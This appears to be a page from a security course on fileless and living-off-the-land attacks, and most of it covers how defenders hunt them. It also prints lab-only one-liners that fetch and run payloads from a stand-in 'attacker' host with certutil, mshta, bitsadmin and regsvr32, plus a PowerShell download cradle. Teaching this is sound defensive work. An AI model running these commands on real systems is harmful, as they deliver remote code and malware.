

Fileless & 'Living Off the Land' Threats

What 'fileless' means

The malicious content lives in **memory**, the registry, or benign system tools. No signature-bearing .exe on disk – classic AV signature scanning is largely blind.

LOLBAS: Living Off The Land Binaries and Scripts

System tools abused for offense (see lolbas-project.github.io): PowerShell, certutil, mshta, regsvr32, WMIC, BITSAdmin, MSBuild, rundll32, wscript, cscript.

```
# classic examples (LAB ONLY)
certutil -urlcache -split -f http://attacker/payload.exe C:\p.exe
mshta http://attacker/payload.hta
powershell -enc <base64-command>          # encoded
bitsadmin /transfer u /download http://attacker/x.exe C:\x.exe
regsvr32 /s /u /i:http://attacker/x.sct scrobj.dll
```

PowerShell – the star offender

Download cradle: `iex (New-Object Net.WebClient).DownloadString('http://x/p.ps1')`

In-memory module: `Invoke-Mimikatz`

Obfuscation: base64, string splicing, environment-variable assembly, EncodedCommand

Defense: Constrained Language Mode + PS script block logging + AMSI

The macros-and-hooks hotel

Office macros (macro-level malware, PowerPoint, Excel 4.0)

WMI event subscriptions fire processes

Registry AppInit_DLLs loads a DLL into every process

Hunting fileless (blue)

Process genealogy: Was this process spawned by Office? (parent-child anomalies)

Unusual script engine children: powershell/cmd from Word/Excel/Outlook = red flag

Network + process: powershell.exe with an outbound connection

Sysmon: EventID 1 (process), 3 (network), 13 (registry); script block logging (4104)

AMSI (Antimalware Scan Interface): shows scripts to AV even in memory (bypassable – treat as helper, not god)

The duality

Same tools = offense AND legitimate admin. The differentiator is *context*: who invoked it, from where, toward what, and what network it hoisted. Threat hunting = context hunting.

[← Ransomware: Operators, Tacti...](#)

[Rootkits & Bootkits →](#)